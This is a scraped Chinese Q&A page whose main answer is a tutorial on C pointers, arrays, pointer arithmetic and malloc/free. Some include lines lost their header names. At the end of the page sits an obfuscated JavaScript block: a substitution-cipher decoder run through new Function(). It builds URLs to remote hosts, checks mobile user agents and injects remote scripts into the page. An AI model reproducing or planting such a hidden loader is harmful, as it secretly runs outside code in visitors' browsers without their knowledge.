C语言 关于POINTER(指针)的问题, 急!!!!

2024-12-02 19:14:12
推荐回答(5个)
回答1:

C 的 pointer (指标, 另一常译为指位器)一般是被认为 C 语言中最具威力的工具及

最难以学习的, 事实上 pointer 并不困难.

第一个范例:

/* ====================

pointer - 1

==================== */

#include

int main()

{

char *s_pointer = “Hello”;

char s[] = “World”;

printf(“%s\n”, s_pointer );

printf(“%s”, s );

return 0;

}

程式执行结果:

Hello

World

先解释一下这一行:

char *s_pointer = “Hello”;

首先编译器会预留一块记忆空间存放 Hello, 再把这个空间的 address (也就是 ‘H’

字元的位址) 设定给 s_pointer.

有点困惑吗? C 的 pointer 与 array 很类似, 基本上 array 只是一块连续的记忆空间,

一个变数存放著这个空间的 address (位址), 而 pointer 也只是一个变数存放著一个

address. 若还是不明白, 在以后我们会以更多的范例来说明 pointer 的观念与使用

以及 pointer 与 array 的关系.

底下的例子:

/* ====================

pointer - 2

==================== */

#include

int main()

{

char *s_pointer;

char str[] = “Hello World!”;

s_pointer = str;

printf(“%s\n”, s_pointer );

return 0;

}

执行结果:

Hello World!

上面程式中, 所做的事情不是 string copy, 而是将 pointer 所指的 address 设定(assign)

为 str 所指的值, 而此时有 str 及 pointer 指向 “Hello World!”.

再看底下的例子:

/* ====================

pointer - 3

==================== */

#include

int main()

{

char *s_pointer;

char str[] = “Hello World!”;

s_pointer = str;

s_pointer[0] = ‘h’; /* ‘H’ 转 ‘h’ */

printf(“%s\n”, str );

return 0;

}

执行结果:

hello World!

前面提过, pointer 与 array 其实只是一个变数存放著一个 address, 在前面的 array 章节中

学到的 array 操作自然可以应用(apply)在 pointer 上, 我们把 s_pointer 所指的

address (位址) 上的第一个 element 改成 ‘h’. 又因为 str 所指的 address 与 s_pointer 一样,

所以 printf 输出 str 为 “hello World!”.

底下的例子:

/* ====================

pointer - 4

==================== */

#include

int main()

{

char *s_pointer;

char str[] = “Hello World!”;

s_pointer = str;

s_pointer = s_pointer + 1; /* 也可写成 s_pointer++ */

printf(“%s\n”, str );

printf(“%s\n”, s_pointer );

return 0;

}

执行结果:

Hello World!

ello World!

既然我们可以指定 pointer 的 address (位址), 自然就可以将现在所指的 address

往前或往后减少或累加, 上例中我们是累加:

s_pointer = s_pointer + 1;

这一行程式会将 s_pointer 所指的 address 加一, 因此原本 s_pointer 是指向 ‘H’,

加一之后变成 ‘e’ 开始.

请参考下图.

str(指向 H )

H
e
l
l
o

W
o
r
l
d
!
NULL

s_pointer (指向 H)

s_pointer = s_pointer + 1 (指向 e)

/* ====================

pointer - 5

==================== */

#include

int main()

{

char *s_pointer = “Hello”;

char ch1, ch2;

ch1 = *s_pointer;

ch2 = s_pointer[0];

printf(“%c, %c”, ch1, ch2 );

return 0;

}

执行结果:

H, H

程式示范如何以 pointer 运算取出目前 pointer 所指的 address 上的资料,

我们已知 s_pointer 所指的位址及其上面存放的资料, 以 ‘*’ pointer operator

(指标运算元) 可取出所存放的资料, 程式之中比较了等¤的 array 操作,

在程式开发上, 个人是偏爱使用 array operator, 但有些 programmer 认为

使用 pointer operator 编译器产生的 code 较 array operator 快.

以下范例是用 pointer 的间接运算子的例子, 当然也可以用 array operator 做到:

/* ====================

pointer 6

==================== */

#include

void main()

{

char *str = "Eric";

printf( "%c", *(str+0) ); /* 也可写 printf(“%c”,str[0] ); */

printf( "%c", *(str+1) ); /* 也可写 printf(“%c”,str[1] ); */

printf( "%c", *(str+2) ); /* 也可写 printf(“%c”,str[2] ); */

printf( "%c", *(str+3) ); /* 也可写 printf(“%c”,str[3] ); */

}

程式执行结果:

Eric

看完以上的例子是否更清楚 pointer 的使用, 及 pointer 与 array 之间的关系?

在一个比较大的软体开发计划中, 常常 要动态向系统要求记忆体, 以下是一个范例:

/* ================

memory allocation/free 1

================ */

#include

#include

int main()

{

char *str;

char s[] = “Hello World!”;

int length;

length = strlen( s ) + 1; /* 求得 s 长度, 加 1 是因为结束字元. */

str = (char*)malloc( length ); /* 向O.S 要 memory */

strcpy( str, s );

printf(“%s\n”, str );

str[0] = ‘h’;

printf(“%s\n”, s );

free( str );

return 0;

}

程式执行结果:

Hello World!

Hello World!

strlen 是 C 的 standard library 中求得 string length 的一个 function, 取得 s 的长度之后

加 1 是因为 strlen 并不会把结束字元算进字串的长度. 另外程式中,

以 malloc 这个函数向系统索取一块记忆空间, malloc 传回这个空间的 address.

str = (char *)malloc( length );

其中, (char *)是我们强制转型, 将 malloc传回的 pointer 型态转型与 str 一致为

(char *). 接著再以 strcpy 将 s 里面的字元 copy 至 str.

程式后面的 str[0] = ‘h’ 只是为了证明 str 与 s 所指的 address 及资料是完全不同的.

程式中以 free 这个 function 释放(release) 之前向系统索取的空间, 所谓有借有还,

维持良好的程式开发习惯.

/* ================

memory allocation/free 2

================ */

#include

#include

int main()

{

char *str;

char s[] = “Hello World!”;

int length;

length = strlen( s ) + 1;

str = (char*)malloc( length ); /* 向O.S 要 memory */

if( str == NULL )

{

printf(“Memory allocation failed”);

return 0;

}

strcpy( str, s );

printf(“%s”,str );

free( str );

return 0;

}

执行结果, 记忆空间充足的情况”

Hello World!

或记忆空间不足时:

Memory allocation failed

上面的程式中, 我们多了一个判断, 判断 str 是否为 NULL, 若为 NULL 则印出

”Memory allocation Failed”, 接著离开程式返回系统, 因为 malloc 在无法取得

你所 大小的记忆空间时会传回 NULL. 这一个判断是必 的, 特别是在开发

大型系统时要处理这些问题.

最后谈到的是 & 位址运算元, 这个运算元符号虽然与 Bitwise AND 一样,

但用法不同, Bitwise AND 的用法是:

Identifier1 & Identifier2

而现在说的位址运算元是:

&Identifier

本运算元会传回 Identifier 的 Address(位址), 在 C 中, 所有的 variable (变数)

都存在一个实体的记忆体空间中, 当你 要知道这个变数存放的位址时,

就可以使用 “&” operator.

/* ====================

& operator.

==================== */

#include

int main()

{

int *pointer_a, a;

pointer_a = &a;

a = 10;

printf(“%d, %d”, a, *pointer_a );

return 0;

}

执行结果:

10, 10

程式中, 将 a 的 address 设给 pointer_a (另一说法是: 把 pointer_a 这个 pointer 指向 a ),

因此 pointer_a 所”指”的 address 与 a 的 address 一样, 所以 a, 与使用 *pointer_a 取出

指向的位址上的资料是一样的.

在前面的”C的输出与输入”章节中, 函数 scanf 的参数皆是 pointer, 所以我们以

“&” operator 将变数的 address 传入.

回答2:

你用什么书学习C语言的
不可能不讲指针,好好看书吧,C语言的精华和糟粕都在于指针

回答3:

http://student.zjzk.cn/course_ware/gaojiyuyan/ckzl2/webver/ch27.htm
建议去看看里面的例子!

回答4:


我也正在学习中
指针就是地址,作用是指向一个变量的地址

回答5:

这个找本书看看吧
指针是一个指向地址的变量

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();